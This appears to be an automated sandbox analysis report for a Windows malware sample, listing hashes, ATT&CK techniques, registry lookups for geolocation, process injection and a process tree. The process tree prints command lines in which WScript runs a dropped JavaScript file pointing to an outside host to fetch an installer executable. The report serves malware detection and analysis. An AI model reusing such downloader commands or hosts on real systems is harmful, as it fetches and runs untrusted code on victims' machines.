73217b236823bce58630ac54812e2920f729b1ae1cabfde62674d6c5f1d89b74

General

Target

dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe
Size

184KB
MD5

dabb36d85010b1d0ee00da3d421e2358
SHA1

fe57ad16e2170669b1b6e3d20cd9ac779156ef1a
SHA256

73217b236823bce58630ac54812e2920f729b1ae1cabfde62674d6c5f1d89b74
SHA512

43e2fefd13a2deaa81086692974a89ba6cbe6972b82d9fa17f25d4787151f9db85e952a1b0a7f4c8a13baec60dab1166ed12bc6e67806cd2d4d45f7e492ad03d
SSDEEP

3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3i:/7BSH8zUB+nGESaaRvoB7FJNndnL

Score

8^/10

Malware Config

Signatures

Blocklisted process makes network request 6 IoCs

flow	pid	Process
8	3900	WScript.exe
24	3660	WScript.exe
46	2892	WScript.exe
49	764	WScript.exe
57	3804	WScript.exe
58	3804	WScript.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 1 IoCs

pid	pid_target	Process	procid_target
4648	4788	WerFault.exe	82

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 4788 wrote to memory of 3900	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	84
PID 4788 wrote to memory of 3900	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	84
PID 4788 wrote to memory of 3900	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	84
PID 4788 wrote to memory of 3660	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	95
PID 4788 wrote to memory of 3660	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	95
PID 4788 wrote to memory of 3660	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	95
PID 4788 wrote to memory of 2892	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	98
PID 4788 wrote to memory of 2892	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	98
PID 4788 wrote to memory of 2892	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	98
PID 4788 wrote to memory of 764	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	99
PID 4788 wrote to memory of 764	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	99
PID 4788 wrote to memory of 764	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	99
PID 4788 wrote to memory of 3804	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	100
PID 4788 wrote to memory of 3804	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	100
PID 4788 wrote to memory of 3804	4788	dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe	100

C:\Users\Admin\AppData\Local\Temp\dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\dabb36d85010b1d0ee00da3d421e2358_JaffaCakes118.exe"
1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4788
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufAA88.js" http://www.djapp.info/?domain=yNXvGeUukL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fufAA88.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3900
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufAA88.js" http://www.djapp.info/?domain=yNXvGeUukL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fufAA88.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3660
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufAA88.js" http://www.djapp.info/?domain=yNXvGeUukL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fufAA88.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:2892
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufAA88.js" http://www.djapp.info/?domain=yNXvGeUukL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fufAA88.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:764
- C:\Windows\SysWOW64\WScript.exe
  "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fufAA88.js" http://www.djapp.info/?domain=yNXvGeUukL.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=377&setup_id=300&srcid=KoR1JwXQ_LrsDjMuaUM9CgqlVE0PvlMlmGYrhLIFYhQHEQsz6e6qfPLEmXdyGgix3Tqr4GalSgGIgkQVe88uQeqVvF6ZIoKUhkpvZWpzwXHeObuK-6mX4GJU2Nia1-_MKHVlwz C:\Users\Admin\AppData\Local\Temp\fufAA88.exe
  2⤵
  - Blocklisted process makes network request
  - System Location Discovery: System Language Discovery
  PID:3804
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 4788 -s 1128
  2⤵
  - Program crash
  PID:4648

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 4788 -ip 4788
1⤵
PID:2020

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

JavaScript

1

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\fufAA88.js

Filesize
3KB

MD5
3813cab188d1de6f92f8b82c2059991b

SHA1
4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

SHA256
a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

SHA512
83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76

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